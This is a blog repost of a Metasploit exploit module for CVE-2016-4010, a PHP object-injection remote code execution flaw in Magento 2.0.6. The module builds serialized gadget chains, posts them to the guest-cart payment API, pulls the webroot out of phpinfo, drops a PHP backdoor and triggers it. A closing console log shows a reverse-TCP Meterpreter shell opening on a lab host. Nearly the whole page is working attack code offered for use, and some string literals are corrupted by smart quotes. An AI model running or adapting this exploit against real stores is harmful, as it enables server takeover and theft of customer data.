Magento 2.0.6 Unserialize Remote Code Execution

“This module requires Metasploit: http://metasploit.com/download
Current source: https://github.com/rapid7/metasploit-framework”

require ‘msf/core’

class MetasploitModule < Msf::Exploit::Remote
Rank = ExcellentRanking

include Msf::Exploit::Remote::HttpClient
include Msf::Exploit::FileDropper

def initialize(info = {})
super(update_info(info,
‘Name’ => ‘Magento 2.0.6 Unserialize Remote Code Execution’,
‘Description’ => %q{
This module exploits a PHP object injection vulnerability in Magento 2.0.6
or prior.
},
‘Platform’ => ‘php’,
‘License’ => MSF_LICENSE,
‘Author’ =>
[
‘Netanel Rubin’, # original discovery
‘agix’, # original exploit
‘mr_me <mr_me[at]offensive-security.com>’, # metasploit module
],
‘Payload’ =>
{
‘BadChars’ => “\x22”,
},
‘References’ =>
[
[‘CVE’, ‘2016-4010’],
[‘EDB’, ‘39838’],
[‘URL’, ‘http://netanelrub.in/2016/05/17/magento-unauthenticated-remote-code-execution/’%5D,
[‘URL’, ‘http://blog.checkpoint.com/2015/11/05/check-point-discovers-critical-vbulletin-0-day/’%5D,
[‘URL’, ‘https://magento.com/security/patches/magento-206-security-update’%5D
],
‘Arch’ => ARCH_PHP,
‘Targets’ =>
[
[ ‘Automatic Targeting’, { ‘auto’ => true } ],
],
‘DisclosureDate’ => ‘May 17 2016’,
‘DefaultTarget’ => 0))

register_options(
[
OptString.new(‘TARGETURI’, [ true, “The base path to the web application”, “/”])
], self.class)
end

def print_good(msg=”)
super(“#{peer} – #{msg}”)
end

def get_phpinfo
# uses the Magento_Framework_DB_Transaction class
serialize = ‘O:13:”Credis_Client”:22:{‘
serialize << ‘s:8:”u0000*u0000redis”;’
serialize << ‘O:45:”MagentoSalesModelOrderPaymentTransaction”:40:{‘
serialize << ‘s:9:”u0000*u0000_order”;N;’
serialize << ‘s:21:”u0000*u0000_parentTransaction”;N;’
serialize << ‘s:12:”u0000*u0000_children”;N;’
serialize << ‘s:22:”u0000*u0000_identifiedChildren”;N;’
serialize << ‘s:27:”u0000*u0000_transactionsAutoLinking”;b:1;’
serialize << ‘s:14:”u0000*u0000_isFailsafe”;’
serialize << ‘b:1;’
serialize << ‘s:12:”u0000*u0000_hasChild”;N;’
serialize << ‘s:15:”u0000*u0000_eventPrefix”;’
serialize << ‘s:31:”sales_order_payment_transaction”;’
serialize << ‘s:15:”u0000*u0000_eventObject”;’
serialize << ‘s:25:”order_payment_transaction”;’
serialize << ‘s:18:”u0000*u0000_orderWebsiteId”;N;’
serialize << ‘s:16:”u0000*u0000_orderFactory”;N;’
serialize << ‘s:15:”u0000*u0000_dateFactory”;N;’
serialize << ‘s:22:”u0000*u0000_transactionFactory”;N;’
serialize << ‘s:25:”u0000*u0000orderPaymentRepository”;N;’
serialize << ‘s:18:”u0000*u0000orderRepository”;N;’
serialize << ‘s:29:”u0000*u0000extensionAttributesFactory”;N;’
serialize << ‘s:22:”u0000*u0000extensionAttributes”;N;’
serialize << ‘s:25:”u0000*u0000customAttributeFactory”;N;’
serialize << ‘s:24:”u0000*u0000customAttributesCodes”;N;’
serialize << ‘s:26:”u0000*u0000customAttributesChanged”;b:0;’
serialize << ‘s:15:”u0000*u0000_idFieldName”;’
serialize << ‘s:2:”id”;’
serialize << ‘s:18:”u0000*u0000_hasDataChanges”;’
serialize << ‘b:0;’
serialize << ‘s:12:”u0000*u0000_origData”;N;’
serialize << ‘s:13:”u0000*u0000_isDeleted”;’
serialize << ‘b:0;’
serialize << ‘s:12:”u0000*u0000_resource”;’
serialize << ‘O:32:”MagentoFrameworkDBTransaction”:3:{‘
serialize << ‘s:11:”u0000*u0000_objects”;’
serialize << ‘a:0:{}’
serialize << ‘s:18:”u0000*u0000_objectsByAlias”;’
serialize << ‘a:0:{}’
serialize << ‘s:25:”u0000*u0000_beforeCommitCallbacks”;’
serialize << ‘a:1:{‘
serialize << ‘i:0;’
serialize << ‘s:7:”phpinfo”;}}’ # the rub
serialize << ‘s:22:”u0000*u0000_resourceCollection”;N;’
serialize << ‘s:16:”u0000*u0000_resourceName”;N;’
serialize << ‘s:18:”u0000*u0000_collectionName”;N;’
serialize << ‘s:12:”u0000*u0000_cacheTag”;’
serialize << ‘b:0;’
serialize << ‘s:19:”u0000*u0000_dataSaveAllowed”;’
serialize << ‘b:1;’
serialize << ‘s:15:”u0000*u0000_isObjectNew”;N;’
serialize << ‘s:23:”u0000*u0000_validatorBeforeSave”;N;’
serialize << ‘s:16:”u0000*u0000_eventManager”;N;’
serialize << ‘s:16:”u0000*u0000_cacheManager”;N;’
serialize << ‘s:12:”u0000*u0000_registry”;N;’
serialize << ‘s:10:”u0000*u0000_logger”;N;’
serialize << ‘s:12:”u0000*u0000_appState”;N;’
serialize << ‘s:19:”u0000*u0000_actionValidator”;N;’
serialize << ‘s:13:”u0000*u0000storedData”;’
serialize << ‘a:0:{}’
serialize << ‘s:8:”u0000*u0000_data”;’
serialize << ‘a:0:{}}’
serialize << ‘s:13:”u0000*u0000redisMulti”;N;’
serialize << ‘s:7:”u0000*u0000host”;N;’
serialize << ‘s:7:”u0000*u0000port”;N;’
serialize << ‘s:10:”u0000*u0000timeout”;N;’
serialize << ‘s:14:”u0000*u0000readTimeout”;N;’
serialize << ‘s:13:”u0000*u0000persistent”;N;’
serialize << ‘s:18:”u0000*u0000closeOnDestruct”;’
serialize << ‘b:1;’
serialize << ‘s:12:”u0000*u0000connected”;’
serialize << ‘b:1;’
serialize << ‘s:13:”u0000*u0000standalone”;N;’
serialize << ‘s:20:”u0000*u0000maxConnectRetries”;’
serialize << ‘i:0;’
serialize << ‘s:18:”u0000*u0000connectFailures”;’
serialize << ‘i:0;’
serialize << ‘s:14:”u0000*u0000usePipeline”;’
serialize << ‘b:0;’
serialize << ‘s:15:”u0000*u0000commandNames”;N;’
serialize << ‘s:11:”u0000*u0000commands”;N;’
serialize << ‘s:10:”u0000*u0000isMulti”;’
serialize << ‘b:0;’
serialize << ‘s:13:”u0000*u0000isWatching”;’
serialize << ‘b:0;’
serialize << ‘s:15:”u0000*u0000authPassword”;N;’
serialize << ‘s:13:”u0000*u0000selectedDb”;’
serialize << ‘i:0;’
serialize << ‘s:17:”u0000*u0000wrapperMethods”;’
serialize << ‘a:3:{‘
serialize << ‘s:6:”delete”;’
serialize << ‘s:3:”del”;’
serialize << ‘s:7:”getkeys”;’
serialize << ‘s:4:”keys”;’
serialize << ‘s:7:”sremove”;’
serialize << ‘s:4:”srem”;}’
serialize << ‘s:18:”u0000*u0000renamedCommands”;N;’
serialize << ‘s:11:”u0000*u0000requests”;’
serialize << ‘i:0;}’

serialize
end

def get_phpshell
s = “#{@webroot}/#{@backdoor}”
p = “<?php #{payload.encoded} ?>”
# uses the Magento_Framework_Simplexml_Config_Cache_File class
serialize = ‘O:13:”Credis_Client”:22:{‘
serialize << ‘s:8:”u0000*u0000redis”;’
serialize << ‘O:45:”MagentoSalesModelOrderPaymentTransaction”:40:{‘
serialize << ‘s:9:”u0000*u0000_order”;N;’
serialize << ‘s:21:”u0000*u0000_parentTransaction”;N;’
serialize << ‘s:12:”u0000*u0000_children”;N;’
serialize << ‘s:22:”u0000*u0000_identifiedChildren”;N;’
serialize << ‘s:27:”u0000*u0000_transactionsAutoLinking”;’
serialize << ‘b:1;’
serialize << ‘s:14:”u0000*u0000_isFailsafe”;’
serialize << ‘b:1;s:12:”u0000*u0000_hasChild”;N;’
serialize << ‘s:15:”u0000*u0000_eventPrefix”;’
serialize << ‘s:31:”sales_order_payment_transaction”;’
serialize << ‘s:15:”u0000*u0000_eventObject”;’
serialize << ‘s:25:”order_payment_transaction”;’
serialize << ‘s:18:”u0000*u0000_orderWebsiteId”;N;’
serialize << ‘s:16:”u0000*u0000_orderFactory”;N;’
serialize << ‘s:15:”u0000*u0000_dateFactory”;N;’
serialize << ‘s:22:”u0000*u0000_transactionFactory”;N;’
serialize << ‘s:25:”u0000*u0000orderPaymentRepository”;N;’
serialize << ‘s:18:”u0000*u0000orderRepository”;N;’
serialize << ‘s:29:”u0000*u0000extensionAttributesFactory”;N;’
serialize << ‘s:22:”u0000*u0000extensionAttributes”;N;’
serialize << ‘s:25:”u0000*u0000customAttributeFactory”;N;’
serialize << ‘s:24:”u0000*u0000customAttributesCodes”;N;’
serialize << ‘s:26:”u0000*u0000customAttributesChanged”;b:0;’
serialize << ‘s:15:”u0000*u0000_idFieldName”;’
serialize << ‘s:2:”id”;’
serialize << ‘s:18:”u0000*u0000_hasDataChanges”;’
serialize << ‘b:0;’
serialize << ‘s:12:”u0000*u0000_origData”;N;’
serialize << ‘s:13:”u0000*u0000_isDeleted”;’
serialize << ‘b:0;’
serialize << ‘s:12:”u0000*u0000_resource”;’
serialize << ‘O:45:”MagentoFrameworkSimplexmlConfigCacheFile”:1:{‘
serialize << ‘s:8:”u0000*u0000_data”;’
serialize << ‘a:3:{‘
serialize << ‘s:18:”is_allowed_to_save”;’
serialize << ‘b:1;’
serialize << ‘s:14:”stat_file_name”;’
serialize << “s:#{s.length.to_s}:”#{s}”;” # our shell
serialize << ‘s:10:”components”;’
serialize << “s:#{p.length.to_s}:”#{p}”;}}” # our payload
serialize << ‘s:22:”u0000*u0000_resourceCollection”;N;’
serialize << ‘s:16:”u0000*u0000_resourceName”;N;’
serialize << ‘s:18:”u0000*u0000_collectionName”;N;’
serialize << ‘s:12:”u0000*u0000_cacheTag”;’
serialize << ‘b:0;’
serialize << ‘s:19:”u0000*u0000_dataSaveAllowed”;’
serialize << ‘b:1;s:15:”u0000*u0000_isObjectNew”;N;’
serialize << ‘s:23:”u0000*u0000_validatorBeforeSave”;N;’
serialize << ‘s:16:”u0000*u0000_eventManager”;N;’
serialize << ‘s:16:”u0000*u0000_cacheManager”;N;’
serialize << ‘s:12:”u0000*u0000_registry”;N;’
serialize << ‘s:10:”u0000*u0000_logger”;N;’
serialize << ‘s:12:”u0000*u0000_appState”;N;’
serialize << ‘s:19:”u0000*u0000_actionValidator”;N;’
serialize << ‘s:13:”u0000*u0000storedData”;’
serialize << ‘a:0:{}’
serialize << ‘s:8:”u0000*u0000_data”;’
serialize << ‘a:0:{}}’
serialize << ‘s:13:”u0000*u0000redisMulti”;N;’
serialize << ‘s:7:”u0000*u0000host”;N;’
serialize << ‘s:7:”u0000*u0000port”;N;’
serialize << ‘s:10:”u0000*u0000timeout”;N;s:14:”u0000*u0000readTimeout”;N;’
serialize << ‘s:13:”u0000*u0000persistent”;N;’
serialize << ‘s:18:”u0000*u0000closeOnDestruct”;’
serialize << ‘b:1;’
serialize << ‘s:12:”u0000*u0000connected”;’
serialize << ‘b:1;’
serialize << ‘s:13:”u0000*u0000standalone”;N;’
serialize << ‘s:20:”u0000*u0000maxConnectRetries”;’
serialize << ‘i:0;’
serialize << ‘s:18:”u0000*u0000connectFailures”;’
serialize << ‘i:0;’
serialize << ‘s:14:”u0000*u0000usePipeline”;’
serialize << ‘b:0;’
serialize << ‘s:15:”u0000*u0000commandNames”;N;’
serialize << ‘s:11:”u0000*u0000commands”;N;’
serialize << ‘s:10:”u0000*u0000isMulti”;’
serialize << ‘b:0;’
serialize << ‘s:13:”u0000*u0000isWatching”;’
serialize << ‘b:0;’
serialize << ‘s:15:”u0000*u0000authPassword”;N;’
serialize << ‘s:13:”u0000*u0000selectedDb”;i:0;’
serialize << ‘s:17:”u0000*u0000wrapperMethods”;’
serialize << ‘a:3:{‘
serialize << ‘s:6:”delete”;’
serialize << ‘s:3:”del”;’
serialize << ‘s:7:”getkeys”;’
serialize << ‘s:4:”keys”;’
serialize << ‘s:7:”sremove”;’
serialize << ‘s:4:”srem”;}’
serialize << ‘s:18:”u0000*u0000renamedCommands”;N;’
serialize << ‘s:11:”u0000*u0000requests”;’
serialize << ‘i:0;}’

serialize
end

def do_check
data = ‘{“paymentMethod”:{“method”:”checkmo”,”additional_data”:{“additional_information”:”‘
data << get_phpinfo
data << “”}},”email”:”#{@email}”}”

send_request_cgi({
‘method’ => ‘POST’,
‘uri’ => normalize_uri(target_uri.path, “/rest/V1/guest-carts/#{@guest_cart_id}/set-payment-information”),
‘ctype’ => ‘application/json’,
‘data’ => data,
})
end

def define_globals
@phpsessid = Rex::Text.rand_text_alphanumeric(26)
@form_key = Rex::Text.rand_text_alphanumeric(26)
@cookies = “PHPSESSID=#{@phpsessid}; form_key=#{@form_key}”
@email = “#{@phpsessid}@#{@form_key}.com”
end

def check
define_globals
# we actually exploit the bug, but just for a callback
begin
if create_fake_cart
if generate_cart_id
# twice, because we need to setup the phpinfo callback using
# the Magento_Framework_DB_Transaction() pop chain
res = “”
(0..1).step(1) do |n|
res = do_check
end
if (res && res.body.include?(‘phpinfo()’))
return Exploit::CheckCode::Appears
else
return Exploit::CheckCode::Safe
end
end
end
rescue ::Rex::ConnectionError => e
vprint_error(e.message)
return Exploit::CheckCode::Safe
end

Exploit::CheckCode::Safe
end

def get_webroot
data = ‘{“paymentMethod”:{“method”:”checkmo”,”additional_data”:{“additional_information”:”‘
data << get_phpinfo
data << “”}},”email”:”#{@email}”}”

# we steal path via phpinfo
res = send_request_cgi({
‘method’ => ‘POST’,
‘uri’ => normalize_uri(target_uri.path, “/rest/V1/guest-carts/#{@guest_cart_id}/set-payment-information”),
‘ctype’ => ‘application/json’,
‘data’ => data,
})

if res && res.code == 200
@webroot = “#{$1}” if res.body =~ /_SERVER[“DOCUMENT_ROOT”]</td><td class=”v”>(.*)</td></tr>/
return true
end

false
end

def create_fake_cart
res = send_request_cgi({
‘method’ => ‘GET’,
‘uri’ => normalize_uri(target_uri.path, ‘/checkout/cart/add/uenc//product/1/’),
‘headers’ => { ‘X-Requested-With’ => ‘XMLHttpRequest’ },
‘cookie’ => @cookies,
‘vars_get’ => { ‘form_key’ => @form_key }
})

return true if (res && res.body.include?(‘[]’))

false
end

def generate_cart_id
res = send_request_cgi({
‘method’ => ‘GET’,
‘uri’ => normalize_uri(target_uri.path, ‘/checkout/cart/’),
‘cookie’ => @cookies,
})
if res && res.code == 200
@guest_cart_id = “#{$1}” if res.body =~ /entity_id”:”(.*)”,”store_id”:d,”created_at/
return true
end

false
end

def backdoor
data = “{“paymentMethod”:{“method”:”checkmo”,”additional_data”:{“additional_information”:””
data << get_phpshell
data << “”}},”email”:”#{@email}”}”

res = send_request_cgi({
‘method’ => ‘POST’,
‘uri’ => normalize_uri(target_uri.path, “/rest/V1/guest-carts/#{@guest_cart_id}/set-payment-information”),
‘ctype’ => ‘application/json’,
‘data’ => data,
})

return true if (res && res.body.include?(‘true’))

false
end

def exec_code
send_request_raw({
‘method’ => ‘GET’,
‘uri’ => normalize_uri(target_uri.path, “/#{@backdoor}”),
}, timeout = 0.5)
end

def exploit
define_globals
@backdoor = “#{Rex::Text.rand_text_alphanumeric(26)}.php”
register_files_for_cleanup(“#{@backdoor}”)
if create_fake_cart && generate_cart_id
print_good(“generated a guest cart id”)
if get_webroot && backdoor
print_good(“backdoor done!”)
exec_code
end
end
end

end

=begin
saturn:metasploit-framework mr_me$ ./msfconsole -qr scripts/sam.rc
[*] Processing scripts/sam.rc for ERB directives.
resource (scripts/sam.rc)> use exploit/multi/http/magento_unserialize
resource (scripts/sam.rc)> set payload php/meterpreter/reverse_tcp
payload => php/meterpreter/reverse_tcp
resource (scripts/sam.rc)> set RHOST 192.168.100.13
RHOST => 192.168.100.13
resource (scripts/sam.rc)> set LHOST 192.168.100.2
LHOST => 192.168.100.2
resource (scripts/sam.rc)> set LPORT 6666
LPORT => 6666
resource (scripts/sam.rc)> check
[*] 192.168.100.13:80 The target appears to be vulnerable.
resource (scripts/sam.rc)> exploit
[*] Started reverse TCP handler on 192.168.100.2:6666
[+] generated a guest cart id
[+] backdoor done!
[*] Sending stage (33721 bytes) to 192.168.100.13
[*] Meterpreter session 1 opened (192.168.100.2:6666 -> 192.168.100.13:49714) at 2016-06-01 18:28:52 -0500
[+] Deleted vYtP1aJ2NXYAovrQgOLNGCt0SZ.php

meterpreter >
=end

Advertisements

Leave a Reply

Fill in your details below or click an icon to log in:

WordPress.com Logo

You are commenting using your WordPress.com account. Log Out / Change )

Twitter picture

You are commenting using your Twitter account. Log Out / Change )

Facebook photo

You are commenting using your Facebook account. Log Out / Change )

Google+ photo

You are commenting using your Google+ account. Log Out / Change )

Connecting to %s